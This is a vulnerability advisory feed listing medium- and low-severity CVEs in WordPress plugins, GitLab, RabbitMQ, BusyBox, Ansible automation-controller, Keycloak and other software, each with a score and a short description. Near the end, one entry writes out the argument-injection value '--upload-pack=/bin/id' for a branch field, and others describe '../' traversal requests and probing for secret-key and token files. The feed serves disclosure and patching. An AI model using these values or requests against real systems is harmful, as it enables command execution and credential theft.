CVE-2026-77420	New	5.5	MEDI			maven:org.jline:jline-reader	JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, DefaultHistory.matchPatterns(String patterns, String line) in reader/src/main/java/org/jline/reader/impl/history/DefaultHistory.java converts the HISTORY_IGNORE configuration value into a Java regular expression while escaping only part of its syntax, allowing other regex metacharacters t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96513	New	5.5	MEDI				A security flaw has been discovered in Neethuharii CafeManagement. This issue affects some unknown processing of the file AddProductCode.php. The manipulation of the argument image results in unrestricted upload. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. This product utilizes a rolling release system for...
CVE-2026-96514	New	5.5	MEDI				A weakness has been identified in Neethuharii CafeManagement. Impacted is an unknown function of the file CafePortalLogin.php of the component Login Handler. This manipulation of the argument uname causes sql injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks. This product is using a roll...
CVE-2026-18505	New	5.4	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to open redirect in the PMP `HostHeaderFilter` (`HostHeaderFilter.java:151`). An unauthenticated attacker can craft a request with a manipulated `Host` header to redirect authenticated operators to attacker-controlled sites, enabling credential phishing.
CVE-2026-71177	New	5.4	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Improper Restriction of Rendered UI Layers or Frames vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges and Session theft.
CVE-2026-80444	New	5.4	MEDI				URL redirection to untrusted site ('open redirect') vulnerability in Abis Technology Ltd. Co. AVES■S allows Input Data Manipulation. This issue affects AVES■S: from 202608201331 before 202608240351.
CVE-2026-84150	New	5.4	MEDI		0.002		The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not verify that the target user of a REST route matches the authenticated caller before reading and modifying that user's saved favorites, allowing any authenticated user with subscriber-level access to view and alter another user's favorites.
CVE-2026-88974	New	5.4	MEDI			composer:wp-graphql/wp-graphql	WPGraphQL provides a GraphQL API for WordPress sites. Prior to 2.22.2, the updatePost mutation in src/Mutation/PostObjectUpdate.php checks only the collection-level edit_posts capability and the post author, but does not enforce the object-level edit_post capability or require publish_posts for public status transitions. An authenticated Contributor can therefore publish the...
CVE-2026-92874	New	5.4	MEDI				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user with an MCP-scoped token to perform actions beyond the intended scope of that token due to improper authorization checks.
CVE-2026-94679	New	5.4	MEDI				Subscriber Broken Access Control in Fluent Support <= 2.3.2 versions.
CVE-2026-96763	New	5.4	MEDI				A security flaw has been discovered in kvcache-ai mooncake up to 0.3.12/0.3.13.post1/0.3.14-rc1. This issue affects the function ScopedSegmentAccess::MountSegment of the file segment.cpp of the component MountSegment Request Processing. Performing a manipulation results in improper access controls. The attack is possible to be carried out remotely. The exploit has been relea...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-3626	New	5.3	MEDI				IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.
CVE-2026-52744	New	5.3	MEDI				GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines/**/upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy details and user-defined pipeline, stage, job, and artifact plugin reference na...
CVE-2026-67405	New	5.3	MEDI				RabbitMQ is a messaging and streaming broker. Prior to versions 3.13.15, 4.0.20, 4.1.11, 4.2.6, and 4.3.0, Neither the Web-MQTT handler (deps/rabbitmq_web_mqtt/src/rabbit_web_mqtt_handler.erl:104) nor the Web-STOMP handler (deps/rabbitmq_web_stomp/src/rabbit_web_stomp_handler.erl:102) validates the Origin header on the WebSocket upgrade. Under ssl_cert_login=true, the browse...
CVE-2026-6925	New	5.3	MEDI				IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot " sequences (/.. /) to view arbitrary files on the system.
CVE-2026-73858	New	5.3	MEDI			composer:solospace/craft-freeform	Solospace Freeform plugin for Craft CMS 5.x is a super flexible form-building tool. From 5.0.0 through 5.10.13, submitted values from public Freeform forms can be evaluated by the isolated Twig renderer when rendered into HTML attributes. An unauthenticated attacker can place Twig expressions in submitted field values, including value attributes, and receive evaluated PHP, op...
CVE-2026-77765	New	5.3	MEDI		0.002		The Better Payment WordPress plugin before 2.3.4 does not validate the submitted payment amount server-side against the merchant's configured fixed price before building the gateway charge, allowing unauthenticated users to pay an arbitrary reduced amount for a fixed-price item.
CVE-2026-83555	New	5.3	MEDI		0.002		The Email Subscribers & Newsletters WordPress plugin before 5.9.35 does not verify the per-subscriber management token before changing a subscriber's subscription status, allowing unauthenticated users to force-unsubscribe or force-confirm an arbitrary subscriber whose email address they know.
CVE-2026-84026	New	5.3	MEDI		0.002		The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not restrict access to a REST endpoint that returns user records, allowing unauthenticated attackers to read registered users' private contact details.
CVE-2026-84091	New	5.3	MEDI				The SUMIT Payment Gateway for WooCommerce WordPress plugin before 4.0.0 does not verify with the payment provider that a payment notification is genuine before marking the corresponding order as paid, allowing unauthenticated users to mark a pending order paid without completing payment.
CVE-2026-84168	New	5.3	MEDI		0.002		The Easy Hide Login WordPress plugin before 1.7 does not fully enforce its hidden-login protection, allowing an unauthenticated attacker to reach the standard login page through certain password-reset request parameters and to recover the site's configured secret login slug from the returned page, defeating the Easy Hide Login WordPress plugin before 1.7's core protection.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84712	New	5.3	MEDI				A flaw was found in the automation-controller API. The unauthenticated health-check endpoint /api/v2/ping/ (ApiV2PingView, AllowAny) over-serializes RBAC-gated automation-mesh data into its anonymous response, exposing the full instance inventory (node hostnames, node types, UUIDs, hear...
CVE-2026-84717	New	5.3	MEDI				A flaw was found in the Ansible Automation Platform automation-controller. The unauthenticated Bitbucket Data Center webhook receiver skips HMAC signature verification for diagnostics:ping events after it has already looked up the target template, causing the endpoint to return HTTP 200 for a template that has a Bitbucket DC webhook configured and HTTP 403 otherwise. An unau...
CVE-2026-84741	New	5.3	MEDI		0.002		The Events Calendar WordPress plugin before 6.17.5 does not check the post status of linked records before embedding their stored details into a public REST API response, allowing unauthenticated users to read the contents of records that have never been published.
CVE-2026-86783	New	5.3	MEDI		0.002		The Post Grid Gutenberg Blocks WordPress plugin before 5.0.41 does not perform an authorization or post-visibility check on a REST API route that returns the custom field keys of a given post, allowing unauthenticated users to disclose the custom field key names of arbitrary posts, including private, draft, pending, scheduled and password-protected posts.
CVE-2026-86785	New	5.3	MEDI		0.002		The Social Commerce for WooCommerce WordPress plugin through 2.5.4 does not have authorisation checks on some of its REST API endpoints, allowing unauthenticated users to update Social Commerce for WooCommerce WordPress plugin through 2.5.4 configuration and product synchronisation state.
CVE-2026-87070	New	5.3	MEDI				The Forminator Forms WordPress plugin before 1.57.2.1 does not verify that a request came from a trusted proxy before preferring client-supplied forwarding headers over the connecting address, and it uses that value both to enforce its per-visitor voting limit and to record who submitted an entry. Unauthenticated visitors can therefore vote without limit on any poll and can ...
CVE-2026-87071	New	5.3	MEDI				The Forminator Forms WordPress plugin before 1.57.2.1 does not restrict which metadata keys a form submission may supply, and does not exclude the keys WordPress reserves for its own use, so unauthenticated visitors submitting a public form that collects post content can attach metadata of their choosing to the post their submission creates.
CVE-2026-87978	New	5.3	MEDI				The Paymob for WooCommerce WordPress plugin before 4.1.14 does not verify the request signature on one branch of its payment webhook, allowing unauthenticated attackers to mark arbitrary WooCommerce orders as paid without any payment.
CVE-2026-87979	New	5.3	MEDI		0.002		The Paymob for WooCommerce WordPress plugin before 4.1.14 does not verify the request signature on the card-token branch of its payment webhook, allowing unauthenticated attackers to write a card-token record to any user's account and to enumerate registered accounts.
CVE-2026-88831	New	5.3	MEDI				BusyBox httpd IP deny rules with invalid CIDR prefix lengths fail open, leaving a parsed IP with a zeroed mask so the rule matches no clients.
CVE-2026-88840	New	5.3	MEDI				BusyBox TLS get_client_hello() reads past the end of the input buffer when parsing a truncated ClientHello message.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88929	New	5.3	MEDI		0.002		The Product Badge, Label, Countdown Timer for WooCommerce WordPress plugin before 7.5.2 does not check whether a product is published before returning its details to unauthenticated users, allowing them to read the title, description and price of draft, pending and private products.
CVE-2026-89331	New	5.3	MEDI		0.002		The FluentBoards WordPress plugin before 2.1.0 does not properly restrict the member data returned by its public, token-shared board feature, allowing unauthenticated users to disclose the email addresses of a shared board's members, typically including administrators.
CVE-2026-90900	New	5.3	MEDI				Joomla Extension - joomshaper.com - Missing CSRF Token Verification in Storefront Product Review Submission in Easy Store extension 1.0.0-3.0.0 - The product review submission endpoint (index.php?option=com_easystore&task=product.addReview) accepted submissions without verifying an anti-CSRF token (the check had been commented out in code). An attacker could trick a logged-i...
CVE-2026-90950	New	5.3	MEDI				The Paid Membership Subscriptions WordPress plugin before 3.1.0 does not verify the reCAPTCHA on its registration handler when a form field is absent from the request, allowing unauthenticated users to create accounts without solving the reCAPTCHA the site has enabled.
CVE-2026-90985	New	5.3	MEDI		0.002		The WPC Smart Compare for WooCommerce WordPress plugin before 6.6.1 does not apply WordPress's post-password protection when returning product content through its comparison handler, allowing unauthenticated users to read the description of password-protected products.
CVE-2026-91814	New	5.3	MEDI		0.002		A signature validation vulnerability exists in Foxit PDF Editor/Reader's handling of incrementally updated PDF documents. Changes to visible document content may not invalidate the existing signature, allowing attackers to alter signed content and potentially carry out content spoofing while the document continues to appear validly signed.
CVE-2026-92419	New	5.3	MEDI				WEBCON BPS is vulnerable to Insecure Direct Object Reference (IDOR) in the /api/vacations/{path} endpoint. The selectedPeople parameter in the Gantt vacation chart API does not validate whether the requesting user is authorized to access the requested users' data. An authenticated attacker can supply arbitrary user logins in the selectedPeople parameter to view vacation sche...
CVE-2026-93421	New	5.3	MEDI			pip:mesop	Mesop is a Python-based UI framework that allows users to build web applications. Prior to 1.3.4, the unauthenticated /__csp__ endpoint passes attacker-controlled document-uri, blocked-uri, and violated-directive values to the csp_report handler in mesop/server/static_file_serving.py, which prints them to standard output without neutralizing terminal control sequences. When ...
CVE-2026-93511	New	5.3	MEDI		0.002		The Premium Packages WordPress plugin before 7.2.1 does not verify PayPal's webhook signature before processing payment and subscription notifications, allowing unauthenticated attackers to forge payment confirmations and subscription-cancellation events against any order whose transaction id they know.
CVE-2026-93623	New	5.3	MEDI				Unauthenticated Insecure Direct Object References (IDOR) in AI Engine <= 3.7.8 versions.
CVE-2026-94079	New	5.3	MEDI				Unauthenticated Broken Access Control in WP User Manager <= 2.9.19 versions.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94080	New	5.3	MEDI				Unauthenticated Broken Access Control in MarketKing <= 2.1.70 versions.
CVE-2026-95514	New	5.3	MEDI				Unauthenticated Bypass Vulnerability in Netgsm <= 2.10.0 versions.
CVE-2026-95524	New	5.3	MEDI				Unauthenticated Bypass Vulnerability in WP User Frontend <= 4.3.11 versions.
CVE-2026-95592	New	5.3	MEDI				Unauthenticated Insecure Direct Object References (IDOR) in Team <= 6.0.0 versions.
CVE-2026-95600	New	5.3	MEDI				Unauthenticated Sensitive Data Exposure in TrustedLogin Connector <= 2.0.3 versions.
CVE-2026-96606	New	5.3	MEDI				A security flaw has been discovered in LB-Link BL-CPE600EU 5.8.13. This vulnerability affects unknown code of the file Mifi_config.bin of the component Configuration Backup Handler. The manipulation results in information disclosure. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early ab...
CVE-2026-96652	New	5.3	MEDI				Plex Media Server before 1.43.3.10861 allows SSRF via '/player/timeline'. An attacker using any X-Plex-Token value can include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination.
CVE-2026-96655	New	5.3	MEDI				Plex Media Server before 1.43.3.10861 allows an authenticated user to request arbitrary internal or external addresses via the '/video/:transcode/universal' path parameter.
CVE-2026-96772	New	5.3	MEDI				A security flaw has been discovered in Intelliant's Subrion CMS up to 4.2.1. This affects an unknown part of the file /actions.json?action=assign-owner. The manipulation of the argument q results in information disclosure. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this dis...
CVE-2026-96774	New	5.3	MEDI				A vulnerability was found in SPON Communications IP Network Audio Device XC-9603 1.2.3_20181106 Build 107. This affects the function loadCfg of the file /ini/sys_cfg.txt of the component Configuration File Download. The manipulation results in information disclosure. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond...
CVE-2026-96880	New	5.3	MEDI				A vulnerability was found in TaleLin lin-cms-spring-boot up to 0.2.1. This impacts the function getBook of the file src/main/java/io/github/talelin/latticy/controller/v1/BookController.java of the component book Endpoint. Performing a manipulation of the argument ID results in improper authorization. The attack is possible to be carried out remotely. The exploit has been mad...
CVE-2026-96881	New	5.3	MEDI				A vulnerability was determined in TaleLin lin-cms-spring-boot up to 0.2.1. Affected is the function getBooks of the file src/main/java/io/github/talelin/latticy/controller/v1/BookController.java of the component book Endpoint. Executing a manipulation can lead to improper authorization. The attack may be performed from remote. The exploit has been publicly disclosed and may ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96882	New	5.3	MEDI				A vulnerability was identified in TaleLin lin-cms-spring-boot up to 0.2.1. Affected by this vulnerability is the function searchBook of the file src/main/java/io/github/talelin/laticy/controller/v1/BookController.java of the component book Endpoint. The manipulation leads to improper authorization. It is possible to initiate the attack remotely. The exploit is publicly avai...
CVE-2026-97149	New	5.3	MEDI				In OpenStack Swift before 2.38.2, the tempurl middleware does not reject the X-Copy-From header on PUT requests. A TempURL signature only covers the method, expiry, and path, and thus the list of disallowed headers is the only defense against a signed PUT request changing what the request does. An attacker holding a PUT TempURL for a single object can add an X-Copy-From head...
CVE-2026-71458	New	5.0	MEDI				URLModificationMiddleware resolves named-URL lookups against unfiltered Model.objects before RBAC. The 403→404 shim only rewrites 403 responses, leaving the pk=0 miss path with a different 404 detail string. Differential "Not found." vs "No <Model> matches..." reveals whether a named resource (org, credent...
CVE-2026-71459	New	5.0	MEDI				JobJobEventsChildrenSummary view has no model/parent_model. ModelAccessPermission.check_get_permissions() falls through (returns True) for any authenticated user. The view uses raw get_object_or_404(Job, pk) without DRF object-level permission check. Zero-privilege user reads event tree structure, event_pr...
CVE-2026-84046	New	5.0	MEDI		0.002		The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not validate a user-supplied URL before fetching it server-side, allowing users with the subscriber role and above to make the server issue requests to internal addresses.
CVE-2026-63001	New	4.8	MEDI			composer:redaxo/source	REDAXO is a PHP-based content management system. Prior to 5.21.2, the medialsinUse() handler in redaxo/src/addons/media_manager/lib/media_manager.php inserts a Media Manager type name into raw backend warning HTML without escaping it when invoked through MEDIA_IS_IN_USE. An administrator with Media Manager access can store HTML in a type name, and the payload executes in ano...
CVE-2026-63002	New	4.8	MEDI			composer:redaxo/source	REDAXO is a PHP-based content management system. Prior to 5.21.2, redaxo/src/addons/mediapool/pages/sync.php inserts filenames held in \$diffFiles from the media filesystem into the Mediapool Sync page without rex_escape(). An attacker who can place an unregistered file with HTML metacharacters in the media directory can execute script in the browser of a backend user with me...
CVE-2026-86604	New	4.8	MEDI				The GTranslate WordPress plugin before 5.0.1 does not remove shortcodes from the content of outgoing emails before expanding them which, in a non-default configuration, allows unauthenticated users to have arbitrary shortcodes registered on the site executed server side.
CVE-2026-94457	New	4.8	MEDI				Unauthenticated Bypass Vulnerability in Captcha Code <= 3.32 versions.
CVE-2026-96674	New	4.8	MEDI				alsa-lib through 1.2.16.1 computes combined topology element size using 32-bit arithmetic in src/topology/ctl.c, allowing integer overflow that defeats bounds checks. Attackers can supply crafted topology files that wrap size calculations, causing the decoder to read beyond the topology buffer and potentially leak sensitive data or crash the application.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96675	New	4.8	MEDI				alsa-lib through 1.2.16.1 contains a denial of service vulnerability in the multi PCM plugin that fails to validate sparse binding indices before array access. Attackers can supply a malicious ALSA configuration file with sparse bindings to trigger an out-of-bounds array read and assertion failure, causing the application to abort.
CVE-2026-87981	New	4.7	MEDI		0.002		The Paymob for WooCommerce WordPress plugin before 4.1.14 does not perform a capability check on several admin AJAX actions that manage its payment-gateway configuration, allowing users with contributor-level access to delete, wipe, or modify that configuration, including the stored payment credentials.
CVE-2026-91788	New	4.7	MEDI		0.001		When implementing the JavaScript interface, Foxit PDF Editor/Reader did not perform the attribute authorization checks required by the specification. As a result, a trusted malicious PDF could potentially access sensitive content from other documents within the same process and transmit it externally.
CVE-2026-81338	New	4.6	MEDI		0.001		The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not properly sanitise and restrict HTML in user-submitted content before storing it and rendering it to other users, allowing users with subscriber-level accounts and above to perform stored HTML injection, such as embedding iframes, that can be leveraged for phishing and content spoofing against other...
CVE-2026-19087	New	4.4	MEDI				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a local attacker to achieve privilege escalation within the container due to improper privilege management.
CVE-2026-96545	New	4.4	MEDI				An out-of-bounds heap read flaw was found in GIMP's TIM image loader. When a user opens a crafted 4bpp TIM image that causes promotion to an RGBA layer, the file-tim plug-in allocates an undersized row buffer but processes it using the larger RGBA row size. This can copy adjacent heap contents into the decoded image and may crash the plug-in.
CVE-2026-18364	New	4.3	MEDI		0.002		The zportals WordPress plugin before 6.4.2 does not perform any capability or nonce check on several of its AJAX actions, allowing users with a subscriber-level account to modify the zportals WordPress plugin before 6.4.2's stored integration settings.
CVE-2026-18365	New	4.3	MEDI		0.002		The zportals WordPress plugin before 6.4.2 does not perform any capability or nonce check on one of its AJAX actions, allowing users with a subscriber-level account to disclose the display name and email address of every registered user, including administrators.
CVE-2026-55632	New	4.3	MEDI				GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal pipeline structure API used for autocompletion while editing pipeline, template, environment, and user-preference configuration returns its users-and-roles mode to regular authenticated users without requiring an administrator role. A lower-privileged user can enumerate configured user names and avai...
CVE-2026-61834	New	4.3	MEDI				scim-patch is a library for applying SCIM patch operations. Prior to 0.9.2, navigate() reads inherited properties and assign() uses prototype-chain membership checks while resolving attacker-controlled SCIM PATCH paths. A path or one of the dotted value keys beginning with an inherited property such as toString can therefore traverse into a shared built-in function object an...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-62998	New	4.3	MEDI				REDAXO is a PHP-based content management system. Prior to 5.21.2, <code>rex_list::getSortColumn()</code> in <code>redaxo/src/core/lib/list.php</code> accepts the sort request parameter without checking whether <code>setColumnSortable()</code> registered the requested column. An authenticated backend user can make <code>prepareQuery()</code> add an escaped but unauthorized ORDER BY identifier, allowing error-based enumeration ...
CVE-2026-6327	New	4.3	MEDI				IBM Concert 1.0.0 through 3.0.0 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.
CVE-2026-71460	New	4.3	MEDI				<code>/api/v2/config/</code> is protected only by <code>IsAuthenticated</code> . <code>license_info</code> (<code>account_number</code> , <code>subscription_id</code> , <code>pool_id</code> , <code>sku</code> , <code>support_level</code> , instance counts) returned to any authenticated user. The superuser/auditor gate only covers <code>project_base_dir/project_local_paths/custom_virtualenvs</code> , not <code>license_info</code> . Enables so...
CVE-2026-71461	New	4.3	MEDI				<code>HostList.list()</code> catches bare <code>Exception</code> and returns <code>str(e)</code> verbatim. Via <code>host_filter</code> , any authenticated user triggers Django <code>FieldError</code> (leaking complete Host model relation graph including internal reverse accessors) or PostgreSQL <code>DataError</code> (leaking raw database error strings). Two primitives: <code>credential_...</code>
CVE-2026-77766	New	4.3	MEDI		0.002		The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not scope one of its REST collection endpoints to the requesting user, allowing users with a subscriber-level account to read every customer's order and payment records. Versions 8.8.1 to 8.9 are not affected. The endpoint was scoped correctly in 8.8.1 and the unscop...
CVE-2026-81339	New	4.3	MEDI		0.002		The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not perform a per-object ownership check when returning a quiz attempt result, allowing any authenticated user with a minimal (subscriber) role to read other students' quiz grades, pass/fail status and attempt timestamps by referencing an attempt identifier belonging to another user.
CVE-2026-84027	New	4.3	MEDI		0.002		The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not check user capabilities when creating orders through its REST API, allowing users with the subscriber role and above to create paid order and payment records with arbitrary amounts and attribute them to other users.
CVE-2026-84718	New	4.3	MEDI				A flaw was found in the Ansible Automation Platform automation-controller. In the shipped production configuration, the Controller trusts the client-supplied <code>X-Forwarded-For</code> header as the request's client IP without verifying that it originated from a trusted proxy, and selects the leftmost (attacker-controlled) header value. As a result, an attacker can forge the source IP ...
CVE-2026-86602	New	4.3	MEDI		0.002		The WP Recipe Maker WordPress plugin before 10.8.2 does not perform any capability check in one of its AJAX actions, allowing any authenticated user, such as a subscriber, to read the full content of unpublished recipes.
CVE-2026-86603	New	4.3	MEDI		0.002		The WP Recipe Maker WordPress plugin before 10.8.2 does not have any authorisation check in one of its AJAX actions, allowing any authenticated user, such as a subscriber, to retrieve the IDs and titles of other users' unpublished lists.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91025	New	4.3	MEDI		0.002		The Booking Manager WordPress plugin before 2.1.21 does not verify that a request to modify a user's Booking Manager WordPress plugin before 2.1.21-specific settings targets the requesting user's own account, allowing any authenticated user with subscriber-level access and above to create or overwrite the Booking Manager WordPress plugin before 2.1.21's per-user settings ...
CVE-2026-92529	New	4.3	MEDI				GitLab has remediated an issue in GitLab EE affecting all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user with developer-role permissions to bypass admin-configured AI tool governance controls for workflows in namespaces they do not control due to improper authorization checks.
CVE-2026-92530	New	4.3	MEDI				GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under certain conditions could have allowed an authenticated user to spoof merge request authorship and attribute content to arbitrary existing users on the target instance due to improper reliance on ephemeral cache state during Dire...
CVE-2026-93510	New	4.3	MEDI		0.002		The Points and Rewards for WooCommerce WordPress plugin before 2.10.4 does not validate the claimed reward amount or restrict who can call its Win Wheel claim handler, allowing authenticated users, Subscriber and above, to credit their own account with an arbitrary and unlimited amount of loyalty points and, where a companion wallet Points and Rewards for WooCommerce WordPre...
CVE-2026-93513	New	4.3	MEDI				Contributor Insecure Direct Object References (IDOR) in SiteSkite <= 2.1.7 versions.
CVE-2026-96551	New	4.3	MEDI				A vulnerability was determined in sfturing hosp_order up to 627f426331da8086ce8ff2017d65b1ddef384f8. Impacted is an unknown function of the file ssm_pro/src/main/java/cn/sfturing/web/CommonUserController.java. Executing a manipulation can lead to cross-site request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. Thi...
CVE-2026-96680	New	4.3	MEDI				A vulnerability was detected in ByteDance Coze Scraper Extension up to 2.0.2. Affected by this vulnerability is the function chrome.runtime.onMessageExternal.addListener of the file static/background/index.js of the component External Message Handler. The manipulation of the argument body.url/paginationConfig/xPathConfig/body.urls/xPaths results in missing authorization. The...
CVE-2026-96739	New	4.3	MEDI				A flaw has been found in SEMCMS up to 4.2. Affected by this issue is some unknown functionality of the file /Edit/php/upload_json.php of the component KindEditor Upload Interface. This manipulation of the argument imgFile causes cross site scripting. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about thi...
CVE-2026-96764	New	4.3	MEDI				A weakness has been identified in kvcache-ai mooncake up to 0.3.12/0.3.14-rc1. Impacted is the function MasterService::GetReplicaListByRegex of the component Regular Expression Handler. Executing a manipulation can lead to allocation of resources. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The ven...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96773	New	4.3	MEDI				A weakness has been identified in Intellia's Subrion CMS up to 4.2.1. This vulnerability affects the function <code>iaUsers::authorize</code> of the file <code>front/login.php</code> of the component Login Page. This manipulation of the argument <code>\$_SERVER['HTTP_REFERER']</code> causes open redirect. The attack is possible to be carried out remotely. The exploit has been made available to the public and coul...
CVE-2026-96892	New	4.3	MEDI				A flaw has been found in Edimax BR-6428nC 1.16. The impacted element is the function <code>websRedirect</code> of the component <code>goform Handler</code> . Executing a manipulation of the argument <code>submit-url</code> can lead to open redirect. The attack may be launched remotely. The exploit has been published and may be used. Multiple endpoints are affected. The vendor was contacted early about this disclos...
CVE-2026-96446	New	4.2	MEDI				A flaw was found in the Pushed Authorization Request PAR implementation of Keycloak. The issue occurs when the silent authentication path <code>prompt=none</code> is used, which allows the authorization process to skip certain steps if a user is already logged in. Due to this bypass, the security rule that ensures a pushed request URI is used only once is not enforced. An attacker could ...
CVE-2026-71462	New	4.1	MEDI				<code>StringListPathField.to_internal_value()</code> calls <code>os.path.exists()</code> on unbounded user-supplied paths. 200 vs 400 response reveals existence of arbitrary absolute paths on the controller-web pod. Tenant superuser can confirm <code>/etc/tower/SECRET_KEY</code> , <code>k8s service-account token</code> , <code>receptor sockets</code> , <code>ConfigMap</code> ...
CVE-2026-92378	New	4.1	MEDI		0.002		A session management vulnerability exists in the Legacy UI Reduced Function Login feature of NT-ware uniFLOW Online. Under specific timing conditions during Service Offline Emergency Mode, a previously authenticated session may be retained after logout, which could allow a subsequent user to be authenticated as the previous user and gain unauthorised limited access to device...
CVE-2026-96807	New	4.0	MEDI				In Flatpak before 1.18.1, a malicious sandboxed app can replace <code>~/var/app/\$appid/.ld.so</code> with a symlink, causing <code>regenerate_ld_cache</code> to write files at an arbitrary location. The filenames and content are not attacker controlled, making this hard to exploit.
CVE-2026-84743	New	3.8	LOW		0.002		The Events Calendar WordPress plugin before 6.17.5 does not perform a per-object capability check on one family of its REST write routes, allowing users with a low-privilege role such as contributor to modify, unpublish, trash and take ownership of records belonging to other users, including administrators.
CVE-2026-71178	New	3.7	LOW				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Use of Non-Canonical URL Paths for Authorization Decisions vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
CVE-2026-77756	New	3.7	LOW				Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse proxy. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.25, from 1...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87074	New	3.7	LOW		0.002		The Forminator Forms WordPress plugin before 1.57.2.1 does not bind its saved-draft notification to the visitor who created the draft, and takes both the recipient address and the link written into the message from the request, so unauthenticated visitors can make the site send a message from its own mail configuration to any address, carrying a link of their choosing insid...
CVE-2026-87848	New	3.7	LOW				The MPCX Lightbox WordPress plugin 1.2.2 through 1.2.5 does not have any authorisation or authentication on one of its AJAX actions available to unauthenticated users, nor does it check the status of the requested post, allowing unauthenticated visitors to retrieve the title, content or excerpt of arbitrary posts, including private, draft, pending, trashed and password-prote...
CVE-2026-90951	New	3.7	LOW		0.002		The Paid Membership Subscriptions WordPress plugin before 3.1.0 does not bind one of its unauthenticated payment actions to the requesting user, allowing someone who holds another member's in-flight payment identifier to delete that member's checkout state.
CVE-2026-93528	New	3.7	LOW		0.002		The NP Quote Request for WooCommerce WordPress plugin before 2.4.16 does not verify order ownership before rendering an order's details, allowing unauthenticated attackers to view another customer's order using the order's key.
CVE-2026-96550	New	3.7	LOW				A vulnerability was found in sfturing hosp_order up to 627f426331da8086ce8ff2017d65b1ddef384f8. This issue affects the function getProperties of the file ssm_pro/src/main/java/cn/sfturing/utls/MailUtil.java. Performing a manipulation results in cleartext transmission of sensitive information. The attack can be initiated remotely. The complexity of an attack is rather high....
CVE-2026-96810	New	3.5	LOW				A vulnerability was identified in huanzi-qch base-admin up to 52816b760cd53244989fd664bbb2b3d4edbfbdf1. This issue affects the function Save of the file base-admin-master/src/main/java/cn/huanzi/qch/baseadmin/common/controller/CommonController.java of the component Add User Handler. The manipulation of the argument Username leads to cross site scripting. The attack can be in...
CVE-2026-93507	New	3.3	LOW		0.002		The WC Fields Factory WordPress plugin before 4.1.11 does not properly restrict access to, or verify a nonce for, a post-cloning action, allowing Contributor-level users and above to duplicate arbitrary posts of any type or status, including other users' private or draft content, and gain read access to the resulting copy.
CVE-2026-71464	New	3.1	LOW				LaunchConfigurationBaseSerializer.scm_branch has no validate_scm_branch() leading-dash check, unlike Project/JobTemplate/JobLaunch serializers. Schedule and WFJT Node accept --upload-pack=/bin/id as scm_branch. Currently blocked at runtime by jobs.py:1502 ValueError check (defense-in-depth), but the API va...
CVE-2026-71465	New	3.1	LOW				RunAdHocCommand.build_args() appends limit as bare positional (args.append(limit)) instead of using args.extend(['-', limit]) like RunJob. A limit beginning with - is parsed as an ansible CLI option. Currently limited to short-circuit flags (--version, --help) since injected element displaces required pat...
